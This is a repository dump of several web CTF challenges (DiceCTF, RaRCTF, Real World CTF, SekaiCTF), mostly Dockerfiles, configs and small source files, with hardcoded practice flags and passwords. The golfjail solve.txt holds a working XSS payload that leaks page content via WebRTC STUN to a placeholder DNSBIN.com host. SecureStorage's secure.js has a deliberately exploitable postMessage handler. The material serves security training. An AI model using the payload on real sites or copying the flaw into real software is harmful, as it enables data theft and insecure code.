8 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/make_handout.sh:
--------------------------------------------------------------------------------
1 | cp -r challenge unfinished
2 | tar --owner="strell" --group="strell" -H v7 --no-xattr --mtime=1970-01-01T00:00Z -czvf unfinished.tar.gz unfinished
3 | rm -rf unfinished
4 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/unfinished.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/web/unfinished/unfinished.tar.gz
--------------------------------------------------------------------------------
/DiceCTF-at-HOPE-2022/payment-pal/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:18.6.0-bullseye-slim
2 |
3 | WORKDIR /app
4 |
5 | COPY . .
6 |
7 | RUN yarn
8 |
9 | EXPOSE 8080
10 |
11 | CMD ["node", "/app/index.js"]
12 |
--------------------------------------------------------------------------------
/DiceCTF-at-HOPE-2022/payment-pal/index.js:
--------------------------------------------------------------------------------
1 | const express = require("express");
2 |
3 | const app = express();
4 |
5 | const PORT = process.env.PORT || 8080;
6 |
7 | app.use(require("cookie-parser")());
8 | app.use(express.static("public"));
9 | app.use("/graphql", require("./src/graphql.js"));
10 |
11 | app.listen(PORT, () => console.log(`web/payment-pal listening on port ${PORT}`));
--------------------------------------------------------------------------------
/DiceCTF-at-HOPE-2022/payment-pal/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "payment-pal",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "Strellic",
10 | "license": "ISC",
11 | "dependencies": {
12 | "cookie-parser": "^1.4.6",
13 | "express": "^4.18.1",
14 | "express-graphql": "^0.12.0",
15 | "graphql": "^15.8.0"
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/DiceCTF-at-HOPE-2022/payment-pal/src/db.js:
--------------------------------------------------------------------------------
1 | const users = new Map();
2 |
3 | const getUser = (name) => users.get(name);
4 | const setUser = (name, data) => users.set(name, data);
5 |
6 | (() => {
7 | const crypto = require("crypto");
8 | const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');
9 |
10 | const username = `admin-` + (process.env.ADMIN_SUFFIX || crypto.randomBytes(8).toString("hex"));
11 | const password = process.env.ADMIN_PASSWORD || crypto.randomBytes(16).toString("hex");
12 | setUser(username, Object.freeze({
13 | username,
14 | password: sha256(password),
15 | money: 133742069,
16 | isAdmin: true,
17 | contacts: Object.freeze([])
18 | }));
19 | console.log(`created account: ${username} with password ${password}`);
20 | })();
21 |
22 | module.exports = {
23 | getUser,
24 | setUser
25 | };
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Medium
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | Check out our secure storage solutions for all your secure storing needs! featuring our new secure enclave™ where secrets are stored securely™
8 | ```
9 |
10 | Flag: `crarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}`
11 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/admin/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | node_modules/
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/admin/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14-slim
2 |
3 | RUN apt-get update \
4 | && apt-get install -y wget gnupg \
5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
7 | && apt-get update \
8 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
9 | --no-install-recommends \
10 | && rm -rf /var/lib/apt/lists/*
11 |
12 | ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true \
13 | PUPPETEER_EXECUTABLE_PATH=google-chrome-stable
14 |
15 | RUN mkdir -p /home/node/app/node_modules && chown -R node:node /home/node/app
16 |
17 | WORKDIR /home/node/app
18 |
19 | COPY package.json .
20 |
21 | RUN npm install
22 |
23 | COPY . .
24 |
25 | USER node
26 |
27 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/admin/index.js:
--------------------------------------------------------------------------------
1 | const express = require("express");
2 | const app = express();
3 |
4 | require("dotenv").config();
5 |
6 | const PORT = process.env.PORT ? parseInt(process.env.PORT) : 80;
7 |
8 | const admin = require("./admin.js");
9 |
10 | app.use(express.urlencoded({ extended: false }));
11 | app.use(express.json());
12 |
13 | app.post("/xss/add", (req, res) => {
14 | if(!req.headers.authorization || req.headers.authorization !== process.env.XSSBOT_SECRET) {
15 | return res.end("unauthorized");
16 | }
17 | console.log(req.body);
18 | let { url } = req.body;
19 | if(!url) {
20 | return res.end("missing url");
21 | }
22 | let length = admin.addToQueue(url);
23 | res.send({"position": length});
24 | return res.end();
25 | });
26 |
27 | app.listen(PORT, () => {
28 | console.log(`xssbot listening on port ${PORT}`);
29 | });
30 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/admin/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "admin",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "dotenv": "^10.0.0",
13 | "express": "^4.17.1",
14 | "puppeteer": "^10.0.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | node_modules/
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14-alpine
2 |
3 | RUN mkdir -p /home/node/app/node_modules && chown -R node:node /home/node/app
4 |
5 | WORKDIR /home/node/app
6 |
7 | COPY package.json .
8 |
9 | RUN npm install
10 |
11 | COPY . .
12 |
13 | USER node
14 |
15 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "safestorage",
3 | "version": "1.0.0",
4 | "main": "index.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "author": "",
9 | "license": "ISC",
10 | "dependencies": {
11 | "bcrypt": "^5.0.1",
12 | "dotenv": "^10.0.0",
13 | "express": "^4.17.1",
14 | "express-session": "^1.17.2",
15 | "hbs": "^4.1.2",
16 | "memorystore": "^1.6.6",
17 | "node-fetch": "^2.6.1"
18 | },
19 | "devDependencies": {},
20 | "description": ""
21 | }
22 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/public/assets/css/styles.css:
--------------------------------------------------------------------------------
1 | .secure-sandbox {
2 | width: 100vw;
3 | height: 70vh;
4 | }
5 |
6 | .secure-sandbox > iframe {
7 | width: 100%;
8 | height: 100%;
9 | overflow: hidden;
10 | }
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/public/assets/img/vault.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/public/assets/img/vault.png
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/public/script.js:
--------------------------------------------------------------------------------
1 | /*
2 | Secure Storage Service's
3 | very secure communication method to talk to a sandboxed secure location
4 | */
5 |
6 | window.onload = () => {
7 | let storage = document.getElementById("secure_storage");
8 | let user = document.getElementById("user").innerText;
9 | storage.contentWindow.postMessage(["user", user], storage.src);
10 | };
11 |
12 | const changeMsg = () => {
13 | let storage = document.getElementById("secure_storage");
14 | storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
15 | };
16 |
17 | const changeColor = () => {
18 | let storage = document.getElementById("secure_storage");
19 | storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
20 | };
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.eot
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.ttf
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.woff
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-brands-400.woff2
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.eot
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.ttf
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.woff
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-regular-400.woff2
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.eot
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.ttf
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.woff
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/RaRCTF-2021/SecureStorage/chall/secure_safe/assets/webfonts/fa-solid-900.woff2
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/secure_safe/secure.js:
--------------------------------------------------------------------------------
1 | /* hey... what are you doing here??? 😡 */
2 |
3 | console.log("secure js loaded...");
4 |
5 | const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;
6 |
7 | var user = "";
8 | const render = () => {
9 | document.getElementById("user").innerText = user;
10 | document.getElementById("message").innerText = localStorage.message || "None set";
11 | document.getElementById("message").style.color = localStorage.color || "black";
12 | };
13 |
14 | window.onmessage = (e) => {
15 | let { origin, data } = e;
16 | if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
17 | z(...data.map(d => `${d}`));
18 | render();
19 | };
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/views/home.hbs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
17 |
18 | {{user}}
19 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/views/index.hbs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
Welcome to Secure Storage Services!
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
22 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/views/login.hbs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/views/register.hbs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/RaRCTF-2021/SecureStorage/chall/views/submit.hbs:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
Found a bug with our software? Send us a link here and we'll check it out.
9 |
18 |
19 |
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node as bot_env
2 | COPY ./bot/bot.js /bot/bot.js
3 | WORKDIR /bot
4 | RUN npm i puppeteer
5 | RUN npm i redis
6 |
7 | FROM node
8 |
9 | ENV REDIS_PASSWORD=IVK3IEYCO4Q7jzLs8hJi \
10 | ADMIN_PASSWORD=Su2Tv8roEu77H6R8xFBe \
11 | FLAG=rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}
12 |
13 | # Recaptcha keys
14 | # ENV RECAPTCHA_SITE_KEY=SITE_KEY \
15 | # RECAPTCHA_SECRET_KEY=SECRET_KEY
16 |
17 | RUN apt update && \
18 | apt install libgtk-3-dev libnotify-dev libgconf-2-4 libnss3 libxss1 libasound2 redis-server -y && \
19 | echo "requirepass ${REDIS_PASSWORD}" >> /etc/redis/redis.conf
20 |
21 | COPY ./code /app
22 | COPY ./setup.sh /app/setup.sh
23 | COPY --from=bot_env /bot /bot
24 | COPY --from=bot_env /root/.cache /root/.cache
25 |
26 | WORKDIR /app
27 |
28 | RUN npm i
29 |
30 | EXPOSE 12345
31 |
32 | CMD ["sh","-c","chmod +x ./setup.sh && ./setup.sh"]
33 |
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/README.md:
--------------------------------------------------------------------------------
1 | # 8BitCult
2 |
3 | ## Usage
4 |
5 | run command bewlow:
6 | ```shell
7 | docker-compose build
8 | docker-compose up -d
9 | ```
10 |
11 | chall: http://your-ip:12345
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "8bitcult",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "axios": "^1.2.2",
13 | "cookie-parser": "^1.4.6",
14 | "ejs": "^3.1.8",
15 | "express": "^4.18.2",
16 | "express-session": "^1.17.3",
17 | "redis": "^4.5.1"
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/src/db.js:
--------------------------------------------------------------------------------
1 | const crypto = require("crypto");
2 |
3 | const sha256 = (data) => crypto.createHash("sha256").update(data).digest("hex");
4 | const users = new Map();
5 | const posts = new Map();
6 |
7 | (() => {
8 | let flagId = crypto.randomUUID();
9 | console.log(`flag post ID: ${flagId}`);
10 |
11 | posts.set(flagId, {
12 | name: "Flag",
13 | body: process.env.FLAG || "flag{test_flag}"
14 | });
15 |
16 | users.set("admin", Object.freeze({
17 | user: "admin",
18 | pass: sha256(process.env.ADMIN_PASSWORD || "password"),
19 | posts: Object.freeze([flagId]),
20 | todos: Object.freeze([])
21 | }));
22 |
23 | console.log(`created user admin | ${process.env.ADMIN_PASSWORD || "password"}`)
24 | })();
25 |
26 | module.exports = { users, posts };
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/src/middleware.js:
--------------------------------------------------------------------------------
1 | const requiresLogin = (req, res, next) => {
2 | if (!req.user) {
3 | return res.redirect("/?msg=Login required");
4 | }
5 | next();
6 | };
7 |
8 | const requiresNoLogin = (req, res, next) => {
9 | if (req.user) {
10 | return res.redirect("/?msg=You are already logged in!");
11 | }
12 | next();
13 | };
14 |
15 | const csrfProtection = (req, res, next) => {
16 | let token = req.body._csrf || req.query._csrf;
17 | if (!req.session.hasCSRF || req.csrfToken !== token) {
18 | return res.redirect("/?msg=Invalid CSRF token");
19 | }
20 | next();
21 | };
22 |
23 | module.exports = { requiresLogin, requiresNoLogin, csrfProtection };
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/48x48M.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/48x48M.png
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/48x48Sorriso.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/48x48Sorriso.png
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/64x64blind.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/64x64blind.png
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/9bc27292880429.5e569ff84e4d0.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/Real-World-CTF-2023/the_cult_of_8bit/code/static/assets/img/9bc27292880429.5e569ff84e4d0.gif
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | web:
4 | image: rwctf:the-cult-of-8bit
5 | build: .
6 | tty: true
7 | ports:
8 | - "12345:12345"
9 | deploy:
10 | resources:
11 | limits:
12 | memory: 2G
13 |
--------------------------------------------------------------------------------
/Real-World-CTF-2023/the_cult_of_8bit/setup.sh:
--------------------------------------------------------------------------------
1 | nohup node /bot/bot.js & > /app/nohup.out
2 | nohup node app & > /app/nohup.out
3 |
4 | redis-server /etc/redis/redis.conf
5 |
6 | tail -f /app/nohup.out
7 |
--------------------------------------------------------------------------------
/SekaiCTF-2022/crab-commodities/Dockerfile:
--------------------------------------------------------------------------------
1 | # build phase
2 | FROM rust:slim AS builder
3 |
4 | WORKDIR /app
5 | COPY ./chall .
6 | RUN cargo build --release
7 |
8 | # final image
9 | FROM debian:bullseye-slim
10 |
11 | WORKDIR /app
12 | COPY --from=builder /app/target/release/crabcommodities ./
13 |
14 | RUN useradd -ms /bin/bash user
15 | USER user
16 |
17 | CMD ["/app/crabcommodities"]
--------------------------------------------------------------------------------
/SekaiCTF-2022/crab-commodities/chall/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "crabcommodities"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | actix-session = { version = "0.7.2", features = ["cookie-session"] }
10 | actix-web = "4.2.1"
11 | dashmap = "5.4.0"
12 | serde_json = "1.0.85"
13 | sha2 = "0.10.6"
14 | tera = "1.17.0"
15 | serde = { version = "1.0.144", features = ["derive"] }
16 | rand = { version = "0.8.5", features = ["std_rng"] }
17 | num-format = "0.4.0"
18 | clokwerk = "0.3.5"
19 | once_cell = "1.14.0"
20 | include_dir = { version = "0.7.2", features = ["glob"] }
21 |
--------------------------------------------------------------------------------
/SekaiCTF-2022/obligatory-calc/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:slim
2 | WORKDIR /app
3 | COPY package.json package-lock.json ./
4 | COPY views ./views
5 | COPY public ./public
6 | RUN npm install
7 | COPY app.js .
8 | CMD ["node", "app.js"]
9 |
--------------------------------------------------------------------------------
/SekaiCTF-2022/obligatory-calc/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "obligatory-calc",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "strellic",
10 | "license": "ISC",
11 | "dependencies": {
12 | "cookie-parser": "^1.4.6",
13 | "express": "^4.18.1",
14 | "hbs": "^4.2.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/SekaiCTF-2022/obligatory-calc/public/css/styles.css:
--------------------------------------------------------------------------------
1 | #results :first-child {
2 | font-weight: bold;
3 | }
4 |
5 | iframe#calc {
6 | display: none;
7 | }
--------------------------------------------------------------------------------
/SekaiCTF-2022/safelist/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:slim
2 | WORKDIR /app
3 | COPY package.json package-lock.json ./
4 | COPY views ./views
5 | COPY public ./public
6 | RUN npm install
7 | COPY app.js .
8 | CMD ["node", "app.js"]
--------------------------------------------------------------------------------
/SekaiCTF-2022/safelist/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "safelist",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.18.1",
13 | "express-session": "^1.17.3",
14 | "hbs": "^4.2.0",
15 | "memorystore": "^1.6.7"
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/README.md:
--------------------------------------------------------------------------------
1 | ## Golf Jail
2 |
3 | ### Difficulty: 4
4 |
5 | ### Description
6 |
7 | I hope you like golfing ⛳🏌️⛳🏌️
8 |
9 | [Admin Bot](https://xss-bot.chals.sekai.team/golfjail)
10 |
11 | Author: strellic
12 |
13 | ❖ Note The admin bot only takes URLs of the format /^https:\/\/golfjail\.chals\.sekai\.team\//
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:latest
2 |
3 | RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
4 |
5 | RUN apk add --no-cache --update php81-fpm supervisor nginx
6 |
7 | COPY config/fpm.conf /etc/php81/php-fpm.d/www.conf
8 | COPY config/supervisord.conf /etc/supervisord.conf
9 | COPY config/nginx.conf /etc/nginx/nginx.conf
10 |
11 | COPY challenge /www
12 |
13 | RUN chown -R www:www /var/lib/nginx
14 |
15 | EXPOSE 80
16 |
17 | CMD /usr/bin/supervisord -c /etc/supervisord.conf
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/challenge/challenge/index.php:
--------------------------------------------------------------------------------
1 |
15 |
16 |
17 |
18 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/challenge/config/fpm.conf:
--------------------------------------------------------------------------------
1 | [global]
2 | daemonize = no
3 | error_log = /dev/stderr
4 | log_level = notice
5 |
6 | [www]
7 | user = www
8 | group = www
9 |
10 | clear_env = Off
11 |
12 | listen = /run/php-fpm.sock
13 | listen.owner = www
14 | listen.group = www
15 |
16 | pm = dynamic
17 | pm.max_children = 5
18 | pm.start_servers = 2
19 | pm.min_spare_servers = 1
20 | pm.max_spare_servers = 3
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/challenge/config/nginx.conf:
--------------------------------------------------------------------------------
1 | user www;
2 | pid /run/nginx.pid;
3 | error_log /dev/stderr info;
4 |
5 | events {
6 | worker_connections 1024;
7 | }
8 |
9 | http {
10 | server_tokens off;
11 | charset utf-8;
12 | keepalive_timeout 20s;
13 | sendfile on;
14 | tcp_nopush on;
15 | client_max_body_size 1M;
16 |
17 | include /etc/nginx/mime.types;
18 |
19 | server {
20 | listen 80;
21 | server_name _;
22 |
23 | index index.php;
24 | root /www;
25 |
26 | location / {
27 | try_files $uri $uri/ /index.php?$query_string;
28 | location ~ \.php$ {
29 | try_files $uri =404;
30 | fastcgi_pass unix:/run/php-fpm.sock;
31 | fastcgi_index index.php;
32 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
33 | include fastcgi_params;
34 | }
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/challenge/config/supervisord.conf:
--------------------------------------------------------------------------------
1 | [supervisord]
2 | user=root
3 | nodaemon=true
4 | logfile=/dev/null
5 | logfile_maxbytes=0
6 | pidfile=/run/supervisord.pid
7 |
8 | [program:fpm]
9 | command=php-fpm81 -F
10 | autostart=true
11 | priority=1000
12 | stdout_logfile=/dev/stdout
13 | stdout_logfile_maxbytes=0
14 | stderr_logfile=/dev/stderr
15 | stderr_logfile_maxbytes=0
16 |
17 | [program:nginx]
18 | command=nginx -g 'daemon off;'
19 | autostart=true
20 | stdout_logfile=/dev/stdout
21 | stdout_logfile_maxbytes=0
22 | stderr_logfile=/dev/stderr
23 | stderr_logfile_maxbytes=0
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/dist/golfjail.php:
--------------------------------------------------------------------------------
1 |
15 |
16 |
17 |
18 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/solution/solve.txt:
--------------------------------------------------------------------------------
1 | https://golfjail.chals.sekai.team/?a=`;/*&xss=%3Csvg%20onload=eval(%27`%27%2BbaseURI)%3E&b=*/pc=new/**/RTCPeerConnection({[`iceServers`]:[{[`urls`]:[`stun:${document.childNodes[0].textContent.split(``).map(function(c){return/**/c.charCodeAt(0).toString(16)}).join(``).slice(0,32)}.DNSBIN.com`]}]});pc.createOffer({offerToReceiveAudio:1}).then(function(o){pc.setLocalDescription(o)});
--------------------------------------------------------------------------------
/SekaiCTF-2023/golfjail/values.yaml:
--------------------------------------------------------------------------------
1 | challenge:
2 | name: golfjail
3 | category: web
4 | type: http
5 |
6 | deployment:
7 | replicas: 3
8 | wave: 1
9 | env:
10 |
11 | network:
12 | internalport: 80
13 | externalport: 80
14 | nodeport: 30014
15 | egress: allow
16 |
17 | containers:
18 | - name: golfjail
19 | image: gcr.io/sekaictf-2023/web_golfjail:latest
20 | resources:
21 | requests:
22 | cpu: 100m
23 | memory: 100Mi
24 | limits:
25 | cpu: 1000m
26 | memory: 1000Mi
27 | ports:
28 | - containerPort: 80
29 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/.values.yaml:
--------------------------------------------------------------------------------
1 | challenge:
2 | name: leaklessnote
3 | category: web
4 | type: http
5 |
6 | deployment:
7 | replicas: 1
8 | wave: 1
9 | env:
10 |
11 | network:
12 | internalport: 80
13 | externalport: 80
14 | nodeport: 30016
15 | egress: allow
16 |
17 | containers:
18 | - name: leaklessnote
19 | image: gcr.io/sekaictf-2023/web_leaklessnote:latest
20 | env:
21 | FLAG: SEKAI{opleakerorz}
22 | ADMIN_PASSWORD: vJaYYLdClmQiTMaKVLmKtFWbcPpHPgRX
23 | resources:
24 | requests:
25 | cpu: 1000m
26 | memory: 200Mi
27 | ports:
28 | - containerPort: 80
29 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/README.md:
--------------------------------------------------------------------------------
1 | ## Leakless Note
2 |
3 | ### Difficulty: 5
4 |
5 | ### Description
6 |
7 | This time my note application will have no leaks!
8 |
9 | [Admin Bot](https://xss-bot.chals.sekai.team/leaklessnote)
10 |
11 | Author: strellic
12 |
13 |
14 | ❖ Note
15 | Flag format: SEKAI{[a-z]+}
.
16 | The admin bot is running Chrome v115 with incognito. Use the provided `adminbot.js` for testing.
17 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:latest
2 |
3 | RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
4 |
5 | RUN apk add --no-cache --update php81-fpm php81-pdo php81-pdo_sqlite php81-session supervisor nginx
6 |
7 | COPY config/fpm.conf /etc/php81/php-fpm.d/www.conf
